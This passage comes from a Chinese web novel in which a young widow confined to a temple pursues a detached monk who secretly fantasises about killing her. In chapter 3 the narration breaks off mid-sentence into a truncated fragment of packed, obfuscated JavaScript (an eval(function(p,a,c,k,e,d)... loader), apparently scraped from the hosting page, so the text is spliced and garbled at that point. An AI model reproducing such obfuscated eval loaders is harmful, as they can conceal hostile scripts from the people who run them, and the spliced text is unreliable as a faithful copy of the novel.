《引诱的病态男主他黑化了》 3. 佛子 金乌沉没,天地洒下的余晖被收进天幕之中,黑雾罩住天地,禅院的门口点起灯笼。 小雾护着一盏油灯进来。 “娘子,方才怎不去佛堂用膳?” 油灯点亮屋内的烛灯,藏在黑暗中的女子抬起清丽似芙蕖的脸,下巴尖尖,眼眶似天生般泛着润红,雾紫素裙在灯光照耀下氤氲出柔光。 谢观怜没说话。 小雾上前,蹲在她的面前:“娘子是又做噩梦了吗?” 自从嫁来丹阳,她便没有一日好梦过。 谢观怜摇头,温柔安慰她:“无碍,只是下午靠在窗边小憩,无意间梦见了些往事罢了。” 小雾见她不愿提及往事,没再多问,认真道:“娘子,往事已过去,不要再多想了。” “嗯。”她颔首,脸上浮起浅笑:“也不早了,你也快些回去休息罢,不用担心我。” 她脸色并无异常,小雾站起身,朝中屋外走去。 室内烛火在灯罩中跳跃,室内的清冷稍淡。 谢观怜躺在榻上,没再去想别的,闭上眼就寝。 黑夜如同能吞噬人的恶兽,微弱的烛火照不出暖意,外面寒风呼啸卷起。 躺在榻上原本安静的女子像是被外面凄厉的呼啸梦魇住了,眉心蹙起,透白的脸毫无血色。 迦南寺中夜里阒寂,灯火都甚少有。 明镜堂中,年迈的法师跪坐在蒲垫上,偌大的室内,周围佛像低下悲悯的眉眼,从高往下凝望下方念经之人。 因为安静,故而一点脚步声响起,在黑夜都很明显,与敲击的木鱼声渐行渐进。 阶下花枝冷艳,堂前佛光微茫。 青年撩开灰白僧袍跪坐在空余法师身边,轻敛眉眼,浓长乌睫在颧骨上拉出暗影,殷红薄唇微动:“师傅。” 咚—— 木鱼声停下。 空余法师掀开眼皮,清明的眼珠呈年老褪色的灰,侧首看向身边的青年道:“他们可有来找你?” 沈听肆道:“来了。” 白日讲完法会,那些人便候在他的院中,方才离去不久。 空余法师眉眼柔慈:“也应该来的,毕竟要不了多久,等你爹辞世,他们再想来找你恐怕难了,如今君主时日也无多,底下几位皇子看似各个都乖顺听话,谁知再过几年又会发生何事。” 如今天下局势复杂,各方权贵都在观望君王会立哪位皇子为太子,而其中沈氏乃中氏族中的流砥柱,沈家主在亡妻产子死后,听君主赐婚娶了妻妹,至今还无所出,倒是通房、小妾生出了庶子庶女。 所以这些人才会在现在就急匆匆地寻来。 沈听肆低垂的脸庞被灯火照出几缕神性,腔调徐徐如雪,温润不足清冷有余,使人听不出语气:“倒是没料到先来之人是陈王。” “陈王?”空余法师蹙眉,“看来这几年流言他痴傻愚钝皆是假的。” 说罢,转音问道:“那你是如何作想的?” 巨大的神像悲悯眼神下,沈听肆洇湿的眼尾荡出柔意,瞳色被覆盖了一层慈悲的薄雾:“我想先看接下来还有谁会来,万一……有更有趣的呢?” 空余法师不置一词,一个扮猪吃老虎的陈王自然算不得有趣,这样的人比比皆是,既要夺得那天下霸主之位,单靠装疯卖傻活、浑浑噩噩过这些年是无用的。 这天下将会如何变换,与他这早已遁入空门之人无甚关系。 但空余法师忽而想到一桩,尚未有结果的往事,思忖道:“如今各路诸侯为各自的利益皆已有了反心,而当年岩王妃产下的孩子自从被偷之后,这么多年了仍旧没有找到人,任命为昌南总指挥使的曾利当年叛变岩王投效君主,前不久又去了一趟雁门,你看也派些人去找一找。” 岩王乃他至交好友,临终之前派人将遗愿托付给他,现在恰逢他在找丢失在外的龙王令,顺便也得替岩王找一找遗孤。 沈听肆温慈地敛目,心中快速掠过岩王平生之事。 岩王自从夺位失败后,这些年被囚困在丹阳,一直在暗地寻找被人偷走的亲生孩子,可人海茫茫却连是男是女都不知。 直到前不久,岩王被君主赐毒酒鸩杀,用以镇压其余蠢蠢欲动的藩王、有反心之臣,如此一代枭雄的一生才彻底落幕。 虽然岩王败了,但当年效忠于他的人仍旧不少,若是寻到岩王遗孤不失为一件趁手的‘号召令’,于他利大于弊。 他对空余法师颔首,“悟因明白。” 空余法师乜了一眼他,猜到他已在心中对比利弊,遂没再说什么,继续敲击木鱼。 巨大神佛下两人的身影被拉成伥暗的线。 . 冬日,清晨的寺庙总是被浓雾笼罩,瓦片在微光中落下几滴雾气凝结的水滴。 在寺中传来第一声晨钟暮鼓,远处开始渐渐响起僧人的诉经声,谢观怜便已经起了。 今日天冷,她没将长发挽起,而是戴上毛绒帽,低压在白净的额头上,透白的小脸衬得越发小,身上也穿了件雾黑毛领大氅,身形遮住七八分。 还和往日一般,谢观怜抱着半熟宣纸抄写的经书,莲步轻缓地前去训诫堂。 在那些人眼中年轻便死了丈夫的女子命格有煞,需得要来此处听训,以此减少身上的罪孽。 还有不少在迦南寺清修的夫人,也会来此处,故而每人都有单独的位置。 之前谢观怜身边是无人的,但今日来后却发现一旁的蒲垫上,坐着头戴纯白绢花,身着素白裙裾的年轻女子。 她面戴薄纱,眉眼染忧愁。 这女子是刚来的,瞧周身气度不俗,应是哪位大家夫人来迦南寺清修。 谢观怜看了一眼跪坐在她身边的蒲垫上,弯腰摊开宣纸中的经书。 因谢观怜容貌生得出色,月娘忍不住打量她,心中可惜这般年轻貌美的女子,竟也要来此地蹉跎光影。 察觉到月娘目光落在自己身上,谢观怜侧首,对她莞尔弯眼。 月娘从未见过这般明艳的女子,当即羞赧地垂下头,轻声道:“我叫月娘。” 谢观怜颔首:“出嫁之前,爹娘与兄长唤我怜娘。” 月娘闻言,眼含好奇:“出嫁后呢?” 谢观怜眨眼,看着眼前一脸纯粹的女子。 出嫁后,出嫁后她就没有名字,要么被人唤作李三郎之妻,要么被人唤做谢氏。 月娘很快也反应过来,再度垂下头,面纱遮不住泛红的耳廓。 谢观怜道:“我还没来得及进府门槛,夫君就死了,所以还没人怎么唤我。” 月娘轻‘啊’了一声,抬起首正欲还说些什么,但门外的钟声被敲响了。 她与所有人一般正襟危坐,垂着眼睫不敢抬首。 授课讲法的多数是尼姑,但偶尔涉及晦涩高深的经书,便需法师前来坐堂讲解。 谢观怜早就打听过了。 今日来讲法的是悟因。 青年的脚步声从另一侧进来,周围早就竖起朦胧的立屏,外面看不见,里面的人亦是如此。 立屏的遮挡,割裂出不同的场地。 谢观怜与那些人一样,哪怕看不见前面也垂着首,仔细辨别前面的人在做什么。 书页翻动的‘沙沙’声,年轻的佛子声线清淡,如外面吹狂风,而屋内热炉点燃得温柔。 她听得入迷,以至于结束了都还不知晓。 一旁的月娘见她盯着手中的书迟迟没有反应,忍不住伸手推了下她:“怜娘?” 谢观怜蓦然回神,抬起被薄雾迷离的眼,唇红如血,我见犹怜的楚楚动人之姿。 月娘被她看得心口一烫,匆忙垂下头,小声提醒:“她们都已经走了。” 她说话轻轻的,好似生怕惊扰了什么人。 谢观怜阖上书,捉裙起身,“多谢。” 月娘抿唇笑:“无碍。” 两人一起出去。 因走出得晚,恰好碰上阁楼的青年,雪白的僧袍如一段雪色,渐渐走进藏书阁中。 谢观怜一眼便看出来是谁了。 月娘和她刚来时一样,无论走到何处都有人跟着。 与月娘分开,谢观怜将手中的经书递给小雾。 小雾抱着书札:“娘子,你这是要去什么地方?” 谢观怜道:“小雾帮我拿回去,若是等下她们问起我在何处,便说我想起今日还有没听懂的,刚好在这里,顺道去书阁看看。” 娘子寻常也时常会去书阁,小雾没做他想,以为是方才听法奖的书阁,点头道:“那娘子早些回来。” “好。” 与小雾分开后,谢观怜转眸望,向不远处高耸的复古典雅的阁楼。 迦南寺因是皇家寺,故而修建极其庞大,单是书阁便有好几座,里面藏的不仅是经书,还有不少古书。 书阁周围进出不少僧人,来往抱着明黄布匹包裹的书,往外走去,遇见师兄单手做礼。 “师兄。” 沈听肆敛目颔首,应了声,直径朝着阁楼而去,雪白的袍摆不染尘埃。 小僧人目送师兄上了阁楼,转身继续出去。 刚走至门口忽见一头戴帷帽的女子身着素色氅袍,从下面缓步上来。 路过时,女子柔声询问:“小师父,请问此处有《波若波若蜜多心经》吗?” 僧人点头:“回檀越,在三楼。” 心经看的人较多,故而每座书阁都有。 谢观怜闻言面露出感激,双手合十做礼:“多谢小师父。” 僧人抱着书继续下阁楼。 谢观怜素手撩开帷帽的一角,抬眸看向阁楼上,钟塔纹路,风铃脆响。 她轻捉裙摆往上而去。 因是冬冷季,寒潮太盛,但凡遇见不是阴雨缠绵,书阁内的窗牗便会支开一半。 书架整齐摆放,架上的书泛着陈旧之气。 青年长身玉立在书架前,黑睫轻抬,露出似墨玉般的眼,长眉高鼻被暗色的光打出阴影。 他目光掠过中间一排,逐个寻着。 《六祖坛经》 看见这本书,他伸手去取,没曾料到书架对面的那本书也被人取下了,猝不及防撞进一双秋水波澜的吃惊美眸中。 一本书的宽距,看不清她的全貌,却能若影若现看见雪白光洁的额头,远山黛眉微微扬起。 女人看他的眼神无害,似没想到既会在这里遇见他。 沈听肆目光淡然地掠过她,握住沉重的书籍,仿佛没有认出来对面玉颜半遮的女子,取下后转身朝另一边而去。 如此淡漠的态度让谢观怜眨了眨眼,不由得想起刚才在楼下遇见的那小僧人。 不认识她的小僧人可会主动向她做礼,而不是向他这般淡然扫过,连眼神都未曾留多久。 况且,谁不知悟因悟性极高,记忆一样好。 自被沈家主寄送此处后,他便认空余大法师为师,常年待在大法师身边,而他过目不忘的美名,她来迦南寺第一日便记下了。 所以他绝非不是没见她认出来,而是认出来了,但并不在意。 清高的佛子啊。 她抱着心经,眉眼轻弯。 不知道他有没有走。 谢观怜摸了摸帷帽上的轻纱,沿着他方才走的方位走去。 这里人并不多,应该是此间书阁的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然他看似温和斯文,但还是给她一种说不出的感觉。 压下心中莫名的想法,她对他弯眼,声线柔下:“悟因法师还记得怜娘吗?就是前些时候,你让我来书阁看经书的那人。” 沈听肆黑眸轻压,露出一丝看不清的浅笑:“记得。” 谢观怜佯装没想到他竟还记得,双眸陡然一亮,漂亮的眸子水盈盈地映照欢喜,却又因要维持矜持而压下那股灵动。 低垂脖颈,声线抑制不住的雀跃,透着几分难为情:“其实怜娘并非是要打扰法师安宁的,而是那日之后我看了那本书,有佛法不解想要求法师解惑。” 沈听肆敛目,声线如常般温软清淡:“何处不解?” 谢观怜道:“说来不怕法师笑话,我自幼便有一病,因学后不懂便夜不能寐,食之更无味,思来想起不知所言的‘三无漏学’,如何除去淫.欲,上书道‘汝修三昧,本出尘劳。淫心不除,尘不可出。’①。” 说至此处,她又忙不迭抬起手,随着长袖滑落,露出皓白的纤细腕子,摆手解释。 “怜娘并非是怜娘在冒犯法师,而是法师应晓得,我是进寺修行的寡居之人,偶尔也会有特别想要得到之物,但又难以得到,所以想求助法师。” 淫.欲并非男女之欲,而是物欲。 她看他的神色极其认真,令人情不自禁信任她的话。 沈听肆阖上手中的书,道:“几千年前的阿难亦有同样的想法,‘必使淫机,身心俱断,断性亦无,于佛菩提,斯可希冀。’②不沾、不看、不妄想,便会使淫机灭去。” 谢观怜追问:“那若是沾了,看了呢?” 青年眼皮微抬,目光温和地看向她,“那便看了,沾了。” 谢观怜看懂他的意思,沾了、看了也与他无关,他不是真佛子,不渡世人。 果真如她所想的那般,世家出身,是个很傲气的男人。 谢观怜透过纱幔窥见他脸上神色仍旧柔慈,看不出一丝不耐,连情绪都控制在令人舒适的范围。 “多谢法师,想来是我悟道不行。”她眉眼染上失落。 沈听肆垂下长睫,将手中的书放在案上,修长的指尖搭在书封上,宽慰她:“檀越已比寻常人要聪慧许多。” “真的吗?”谢观怜睁着陡然一亮的眼定看他,好似难得被人夸赞,语气难言雀跃。 许是她的情绪转变得过于快,他搭在黄皮书封上的手指微不可见地敲了一下,如同外面枯枝上落下一只小鸟声响细微。 沈听肆望向她,唇角含笑:“是。” “多谢法师今日替我解惑。”谢观怜神色微霁,最后问道:“月末的法会还是法师吗?” 眼前的青年看似温柔很好相处,实则很却难真的触碰到,若是说至他不喜之处,便会用柔和的语调表示出冷淡与拒绝。 所以她需要知道月末究竟还是不是他。 若是他,晚些时候她再回去看几眼,若不是她便不看了。 沈听肆颔首:“若师傅有事,会是。” 十有八九是他了。 谢观怜满足地抱书站起身,却不甚踩到了自己的裙摆,踉跄下无意识伸手去抓面前的人。 而他似早有预料般,不经意地侧身避开。 谢观怜自然不想落空,所以伸过手碰上他喉结。 喉结被修剪圆润的指尖划过,仿若有只蚁虫爬在脖颈,也像是朵柔软的花瓣吻落其上,带着酥麻的痒意。 他先是微滞,喉结上下轻滚出禁欲之气,旋即往后退了些,拂袖将桌上的经书拂倒在地。 谢观怜跌坐回蒲垫上,触碰过喉结的指尖轻颤,耳边似有嗡鸣声响起。 她……碰到的那弧线漂亮的喉结,像是受不住抚摸,失控的在指尖滚动。 分明那张脸生得禁欲、淡漠,可喉结却凸得明显。 不仅长着一颗墨般的黑痣,还生得那般的色气。 4.兰香 谢观怜压下心中的轻颤,扬起瘦骨脸儿,慌乱地望着他道歉:“抱歉法师,我不是故意的,是方才腿麻了。” 沈听肆似乎不习惯被人触碰,喉结轻滚时那颗黑痣像是雪上的一点灰墨,夺人心魄,使她难以移开眼。 她越发喜欢他了。 被指甲刮蹭过的地方有些难忍之感,他没有去碰,而是敛下乌浓的睫,“……无碍。” 谢观怜察觉到他此刻表露出的神情,分明不似方才那般温和,却还维持着表面的斯文与淡然。 她点到为止,在他的目光下一脸羞愧地站起身,揖礼请辞。 沈听肆颔了颔首。 转身后,谢观怜还是忍不住扬了唇角。 她发现沈听肆虽长在寺中,受的是佛理,读的是经文,一旦遇上不喜之事,再如何竭力控制,也还是会泄出士族的矜贵傲气。 倒是挺有趣的。 她抱着几本经书步伐轻快地朝着楼下而去,没有发现身后的青年脸上维持的和善,不知何时已经寸寸落下了。 他屈膝跪坐于蒲垫上,双手搭至膝盖,漆黑的眼珠一动不动地盯着她的背影,如同被摄魂的空心傀儡,目光冷森得连一侧敞亮的窗牗都透出虚假的寒。 直至女子窈窕曼妙的身段消失在书阁,周围都还弥漫一股子淡淡的木兰香。 他指尖抚上手腕,取出精致漂亮的短小锋利匕首,漫不经心地把玩着匕首,骨骼分明的手指浸透出不正常的苍白。 若是他的耐心再差些,刚才脚边躺着的不是那本黄皮经书,而是女子美丽的尸身。 . 谢观怜从佛塔出来后直径回禅院。 路过水渠连环石桥时,她看见不远处的长廊上,有一群乌压压的人抬着一顶灰白的四方小轿子,正朝着明德院走去。 又是一名年轻的寡妇被送进来。 她站在桥上看了几眼侧过头,继续朝着院子走去。 回去后,小雾见到她重重松口气,连忙上前接过她怀中捧着的经书。 “娘子,还好你回来得早,吴婆没有回来,李婆似乎从昨夜被人叫走后,现在都还没有回来。” “哦,是在说什么?” 谢观怜走进屋内,身上的寒气还没有散去,兀自走向炉子用火钳加了几块炭。 小雾刚将书摆放在架上,忿忿不平道:“不知道,这两人仗着是府上的老人,无论什么事都不和娘子说,还总爱管着娘子。” 放完书,小雾转头见她去点火,连忙上前去接过来,“哎娘子,放下,奴婢来弄,等会子灰飘你一身,你又得浑身不适了。“ 谢观怜松手让她来,坐在一旁。 她单手撑着下颌,美眸盈盈地望着小雾,似突发奇想般道:“小雾,要不我送你走吧,那些我带过来的嫁妆虽被扣留在李府上,但我还是偷偷留了些,我全给你,出去好生过日子。” 小雾闻言,手中的火钳登时掉在地上。 她脸色雪白地转过头,扑通跪下去,眼眶红得眼泪唰划过脸。 谢观怜见状连忙去扶她,但她却不肯起来。 小雾哭丧长脸:“娘子……你又要赶奴婢走,您说这话,还不如让我一头撞死在墙上。” 当年若不是娘子相救,她早就活不成了,哪还能有如今的安稳日子。 她早就打算娘子去哪里,就跟去哪里,若是娘子死,也陪着一起。 让她走,还真不如让她去死。 小雾哭得很伤心。 谢观怜蹲在她的面前,手忙脚乱地执着帕子擦拭她眼中涌出的泪,无奈安慰道:“别哭,我不过是随口一说,不会赶你走。” 小雾止住泪,可怜地望着她:“真的?” 这幅小模样谢观怜瞧着眼熟,但没多想,怜惜地点头道:“真。” 小雾霎时眉开眼笑,卷起袖子在脸上胡乱擦了擦,站起身说:“娘子,炉子一会就燃起来了,现在时辰尚且还早,你可以抄会儿经书,奴婢去外面看看有没有什么有趣的事,一会儿回来告诉娘子。” 说完她欢喜地往外走去。 谢观怜蹲在地上,歪头看着她的背影,忽然扶额轻‘啧’一声。 难怪眼熟,学她呢,这些年小雾将她的变脸演得入木三分。 真是摆明了告诉她,教坏了小孩。 她站起身倚坐在窗边,单手撑着脸颊,凝着露出的半边天,素色的宽大袖口滑下,露出雪白的手腕。 其实刚才她是真的想将小雾送出去,在迦南寺不见天日,而小雾还小,不能一直在迦南寺陪她。 天边暮色落下,高塔亮起微弱的光。 部分僧人聚集住在一间大院中,但像香客、贵人,以及德高望重的法师都有单独的禅院。 逐茔院冷清,与寻常禅院不同,牌匾的字迹都透着三分的锐利,内院连一颗活的树都没有,干净整洁得好似没有人居住。 门外站着的小沙弥一脸犹豫。 此处是悟因师兄的院子,因师兄喜清净,且师兄生得实在高不可攀,一般出于尊敬无人会在此地徘徊,打扰师兄。 正当小沙弥犹豫要不要抬手敲门时,身后传来青年温润的嗓音。 “找我吗?” 小沙弥闻声转头,看见身形高大的青年杵立在身后,灰白的僧袍内敛出温柔的暗影。 “师兄。”小沙弥脸上一喜,双手合十做礼,“主持派我前来与师兄说一声,月末的那场法坛不用师兄去,月末有位贵人要来。” 沈听肆脸上并无意外,温声颔首,“多谢师弟告知。” 小沙弥刚入寺庙不到一月,听得最多的便是眼前这位师兄的名字。 师兄虽没在迦南寺出家的花名册内,但却无人将他当做世俗中人,皆称之为迦南寺佛子,是诸位师兄弟学习之楷模。 能与悟因师兄说上几句话,他觉得今日是值得了。 小沙弥眼中压着雀跃,弯腰行礼,迈着轻快的步伐离去。 沈听肆立在门口,掠过小沙弥轻快的步伐,忽然觉得下颌无端似被什么湿软的东西拂过。 抬手去摸,却又什么也没有。 这种黏腻的感觉令他生出恶心感。 他懒恹地推开门,朝着前往浴房走去,提起木桶往外去打热水。 寺庙中凡事皆需要亲力亲为,这些年沈听肆早已经习惯了。 将浴桶中灌满热水,他解开身上被打湿袖口僧袍,露出精壮的身躯,长腿跨进浴桶中,热气蔓延上胸口。 他抬手抚摸被人碰的地方,拿过帕子用力擦拭着,直到那块肌肤变红,再擦下去就要破皮了才放下。 真的很恶心。 单是想起被人碰过,他便想杀人。 他阖上长睫,仰头靠在浴桶上,凸出明显的喉结在薄雾中上下滚动,清隽的脸庞氤氲在浓浓的雾气中。 窗外不知何时开始下雪了。 沈听肆换了一身衣袍从里面走出来,挑眼望向天边的雪,伸出修禅的手,骨节泛着淡淡的薄粉。 一片雪花落在指尖上。 他微微一笑:“终于下雪了。” 这场雪等了将很多年了。 明德园里有大大小小的禅院,夜里下雪后所有人都将门关得死死的,狂风还是无情地拍打着窗扉,发出的声音很狰狞。 原就睡面前的谢观怜难以入眠。 现在更是只要一闭眼,耳边便是狂风呼啸的声音,伴随着乌压压的黑暗。 这些动静让她的心很惶恐,也很乱。 屋内的烛火很黯淡,眼看着就要灭了。 她不想在此时将小雾叫醒,便兀自起身去换蜡烛。 还没有走近,蜡烛便被不知从何处钻出来的风吹灭。 灯灭的那瞬间,她的惶恐达到极致,强撑着在黑暗中爬起来,双手哆嗦地点亮蜡烛。 温暖的灯光照在她的身上,炉子里的炭心炸出一丝声响,身子终于回暖了。 她无力地坐在地上,捂着胸口大口喘息。 明明过去了这般久,还是没办法独自面对黑夜。 昨夜下了好大一场雪,天地白茫茫地连成一线,清晨的雾气散开些,晨钟敲响,僧人早读的声音远远地传来。 谢观怜揉了揉隐约发昏的额头,听见到外面有踱步踩雪的‘咯吱’音,起身披了件厚重的长大氅。 拉开门便看见门口徘徊的吴婆子。 她抱着汤婆子,诧异地扬起秀眉,温声询问:“吴嬷嬷这么早,怎穿这些站在这里?” 吴婆子用力搓冻僵的手,腆着脸道:“是奴吵到娘子了吗?” 谢观怜懒无力地靠在门框上摇头,身上的素色衣袍在雪景之下映得消瘦苍白。 “是发生何事了吗?” 吴婆面露出几分尬色:“其实我是来向你告假几日的。” “告假?”谢观怜不解,遂上前将手中的汤婆子放在她怀里,柔声问:“可是家出何事了?” 汤婆子这等物向来只有主子才能用,像她这种下人何曾几时有碰过这般柔软暖和的物件儿,闻见冒着淡淡的清香心都是暖和的了。 吴婆想要推迟,但手一沾上去就跟甩不掉的牛皮膏药般抱得死死的,嘴上道:“不是什么大事,是儿媳要生产了,女人刚生产那几日难起来,所以奴想着回去瞧瞧。” “原是如此啊。”谢观怜了然颔首:“那于情于理都要回去一趟。” 其实她早就晓得吴婆的儿媳将要生产,而在此之前,吴婆在李府来带些仆奴走时特地隐瞒此事,为的便是舍不得活轻松,工钱亦拿得多。 但吴婆现在私底下来寻她说这事,恐怕是见她从入寺开始便安分守己,又几乎不外出,想避着府上人向她告假回去。 哪怕被府上人发现了,吴婆也有说辞,因为大夫人本就在寻机会整治她,一旦被发现,重责只会全盖在她头上。 谢观怜眼眸微弯,笑容清浅。 吴婆悄然抬着眼看眼前温柔的娘子,心中打鼓,试探道:“娘子能不能准许奴几日假?” 谢观怜抬起冻得冰凉的手,眉眼柔善道:“其实并非是我要留着你,而是府上的人之前还说,你们都要寸步不离地跟着我,你若告假,晚些时候李婆见了,也要告假怎么办?我听说李婆的儿子娶妻,这也是头等大事。” 这话的意思是不同意? 吴婆闻言有些急了,“娘子,不用担心,李婆那边我之前就与她说了,也已经与她商议好,奴会在她告假之前回来,绝不耽误事的。” 急忙说至此处,吴婆脸色一僵。 私底下背着主子早就商议好,这简直是在直白告诉她,她们没将她放在眼里。 好在谢观怜似没听出她泄出的意思。 她乌睫上聚了冷雾凝结的水珠,轻眨眼睫,温声道:“既如此,你且早去早回。” 吴婆面露喜色,感恩厚待地弯腰:“多谢娘子,您就是在世菩萨。” 谢观怜唇角微扬,扶起她的手肘,“快些去罢,再晚些恐怕再回去就要晚了。” “多谢娘子。” 吴婆欢喜的将汤婆子还给谢观怜,转身朝着外面一脸喜色地离去。 谢观怜抱着怀中的汤婆子,苍白的脸颊上暖出几分红润。 吴婆刚走没多久,小雾便从外面而来。 院中的美人抱着汤婆子懒倚在门槛上,未施粉黛的脸颊如沾霞粉。 小雾上前:“娘子,刚才我在来的路上,撞见李婆子在与人说话,隐约见她面露急色。” 谢观怜颔首,柔声道:“嗯,应该是家中出事了。” 小雾犹豫问道:“那娘子,吴婆子前脚刚走,后脚李婆子再来告假,怕是不好拒绝。” 谢观怜伸出手指轻捏小雾的脸颊,逗她道:“拒绝作何,是我昨日出去时顺道花钱请的人,晚些时候她来告假,准许了就是。” “啊。”小雾呆了。 人、人是娘子花钱请来的? 吴婆子走了,晚些时候李婆子再走,没有人看着,娘子只怕是…… “走了。”谢观怜松开手,眯着眸儿抱着汤婆子朝着外面走去。 小雾回神,又见娘子竟连帷帽都没有戴,急忙追上去。 “娘子,帷帽、面纱……” “今儿不戴了。” 谢观怜脚步很快,明眸微眯,迎面长廊上的雾气,压在额上的毛绒都沾上了几滴细小的水珠。 已经很久没有出门不戴面纱了,真的都快忘记是何种感受。 寺庙的游廊沉长,因是女客通往膳厅的必经之路,这整条道上都没有僧人。 谢观怜越过游廊,捉裙踏上台阶时,余光忽地扫至一旁。 又是灰白裹绕的一顶软轿。 四个身强体壮的婆子抬着往里面进,身后跟着近乎十来个穿着黑白的侍女,轿中女子身形给遮挡得只有隐约的轮廓。 谢观怜停下脚步,看着轿子渐渐远去。 其实也没什么可看的,能来此处的大多都是些刚死了丈夫的守寡女子。 有时候谢观怜觉着,若是谁真能耐得住寂寞,孤身一人待上十几年,也用不着将年轻寡妇送进寺庙。 贞节牌坊……一块禁锢女人的围墙、压迫的一块巨石。 她淡淡收回视线,继续朝着里面膳堂走去。 用完膳后回到院中,李婆子果然一脸着急的守在门口:“娘子,您可回来了。” “发生何事了?”谢观怜清丽的脸上浮起关切。 李婆哭着脸道:“眼看 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搓了搓冻僵的手,继续道:“所以放一人走,还不如放两人一起,出事一起担责,而且她们回去见了家人,我也得了自由,谁也怨不得谁。” 小雾将冷却的汤婆子灌上热水,递过去。 谢观怜抱在怀中,周身的寒气散去大半。 她笑盯着小雾撅起的嘴,“好啦,别怕,不会有事的,我会老老实实的。” 别的话小雾倒还信,但这句话她如何都不敢信。 娘子见着悟因法师那种佛子就走不动道、移不开眼,她比谁都清楚。 但小雾也不能干涉主子,只能千叮咛万嘱咐地道:“娘子看看悟因法师就可以了,千万别靠过去。” 谢观怜捏她小脸,想起皮相出色的年轻佛子,忍不住眯起眸浅笑,没说话。 将人都弄走,可不只是为了看几眼,至少……得碰一碰。 . 自从吴婆和李婆相继离去后,小雾整日都打起精神,犹恐不留神间娘子就不见了。 好在娘子并非她想象中那般,一如往常那样。 清晨早起,前去膳厅,回来后换了衣裳再去训诫堂,念经书,祷告、祈福,晚上再回禅院抄写经书。 渐渐小雾放下心。 而谢观怜却是在等时机。 她去过了沈听肆时常会去的书阁,甚至连与外来僧人辩论经文的法坛都去了,结果都没有找到人。 好在谢观怜第二天又在周遭转了一圈,走去了正寺前,不经意间听见有香客在询问悟因。 僧人双手合十揖礼,答香客:“悟因师兄在罗汉塔中授课。” 香客闻言,面呈遗憾。 悟因在罗汉塔授课? 谢观怜停在原地,望着那两人渐渐远去的背影,轻眨鸦黑长睫,转而往罗汉塔的方向走去。 一群僧人结伴走过青石板小道,遇见香客都会揖礼而过。 谢观怜耐心地等这些僧人离开,含情的水眸儿留意着人群,确定悟因还没有出来。 她记得他不喜人群,授课、讲经时要么是提前离去,要么便是最后一人走。 此刻的罗汉塔中。 最后的小沙弥向师兄讨教完,终于心满意足地离去了。 塔中变得空落落的,沈听肆弯腰拾起将地上的蒲垫都摆正,折身又将经文依次放进一侧的书架上,这才缓缓走出罗汉塔。 正是用午膳之际,香客与僧人都去了斋饭堂,他独身一人缓步走在青石板上,灰白的僧袍恰如白雪。 他眺眸不经意扫至一旁。 枯枝半掩的风亭中有一道熟悉的身影,正百无聊赖地晃着珍珠素绣鞋,素净的裙摆晃似梨花。 不用多加猜测,他莫名就知晓是谁在风亭中。 虽看见了,但他并未改道,神色平静继续朝着前方踱步。 风亭中的人似乎看见了他,当即站起身,几步从风亭中跑出来。 “悟因法师?”她语嫣讶然地唤他一声,似两人不经意偶遇般。 沈听肆步伐遂止,目光落在她的身上,似上次之事于他并没有任何影响,敛目揖礼:“檀越。” 谢观怜看见他不仅记得自己,还很冷静的模样,压下眸中的笑,朝着他走去,“我正要去罗汉塔拜一拜呢,没想到竟在这里遇见了法师。” 帷帽随着她款款的步伐,微风掀出瘦削肩膀,腰线纤弱窈窕。 “悟因法师上次我又有新的不解之处,想你帮我解惑。” 当她就要走近时,好似不经意脚下踏错了,脚腕一拧,玉颜染上仓皇,惊呼一声往前面扑去。 又用这样的招式。 沈听肆淡然地侧身,甚至连手都没有伸过去,一眼不眨地看着她跌坐在地上,清隽的身形似林下之清风明月。 谢观怜没想到他会如此冷淡,直怔怔地扑倒在他的面前,头上的帷帽都歪了。 她茫然地抬起艳白的小脸,仰头望着他。 青年逆着光,禁欲的皮相给人一种清冷的败坏感,明知她摔倒了,还问她:“檀越,可有碍?” 连手都不搭一把,居高临下地睥睨她,比供奉于神龛中的慈悲菩萨都还要悲悯几分。 仿佛垂下脖颈已是对她最大尊重。 谢观怜怀疑他记仇。 但她歪头盯着他看了好几眼,亲眼看见他眼中从茫然转为了然。 沈听肆似刚发现她还趴在脚边,像是摔懵了起不来,弯下腰递过经书:“还能起来吗?” 谢观怜凝望他纯粹的黑眸,心中的怀疑稍减,伸手搭在他递来的经书上。 借着他的力道歪歪斜斜地站起身。 “多谢法师。” 她狼狈的与他道谢,连站都站不稳,撑着一旁的假山石方才稳住身形。 沈听肆掠过她被帷帽挡住的强颜欢笑,淡然地轻‘嗯’一声,揖礼道:“僧还有事,便不与檀越多闲聊。” 谢观怜好不容易遇上他,才说几句话他就要走,自是不愿的。 她上前欲拦下他,却忘记了自己方才不慎扭伤了脚踝。 这一扑,两人谁也没有预料。 谢观怜也没有料想到,自己竟正大光明的将他扑倒在一旁的雪堆中,下巴还不慎抵在了他的腹上。 他迷茫地倒靠在松树干上,手中的经书散落在四周,骨骼分明的手指抓住地上的白雪,屈起的骨节泛着被冻红的透净。 迟钝地敛下鸦羽轻颤着与她对视,如同遭受迫害的良家女子,比她的身份都‘圣洁’。 谢观怜咽了咽喉咙,没想到会压着他。 这…… 只能说她想得果然没错,喉结明显的男子,某些地方也一样突出。 嗯,她很满意。 5.上山 虽对碰到的很满意,但她现在不应该想那些涟漪之情,而是该想想一会儿如何向他解释,以及考虑要不要装作不知情的纯情寡妇。 是娇羞,还是不装了? 谢观怜敛眉沉思几许,耳侧忽然响起有人交谈的声音。 由远至近,应是刚从佛寺过来的僧人。 谢观怜听见动静下意识从他身上起来,提着裙摆往一旁的假山躲去。 好在此处有半人高的假山,将蜷缩四肢还能避着不被人发现。 她只顾自己,忘记了还坐在雪地似失神的青年。 谢观怜刚想要提醒她,有两个交谈的僧人已从拐角处走出来,她只得默默地咽下口中的话。 僧人发现坐在雪地中的青年,诧异地唤了一声师兄,随后忙不迭上前将他扶起。 “悟因师兄你没事吧?” 他们以为沈听肆是不慎滑倒在此,故而左右环视是否有何处受伤,没人留意到他乌黑的目光落在不远处的假山石上,薄唇微抿,抬手挡住僧人的查看。 “无碍,只是不慎滑倒了,你们去忙罢。” 两位僧人见他无恙,知晓师兄不喜与人接触,往后退了一步,双手合十揖礼。 “是。” 两位僧人正欲离去,忽又闻见师兄清淡嗓音迟疑响起,好似不经意地询问。 “你们是要去何处?” 僧人转过身,如实答道:“回师兄,正去禅院。” 在他们说完后年轻的佛子目如星海,望向他们身后的假山,乌黑瞳仁深沉得看不见一丝光,平静道:“正巧我也要回禅院,一起罢。” 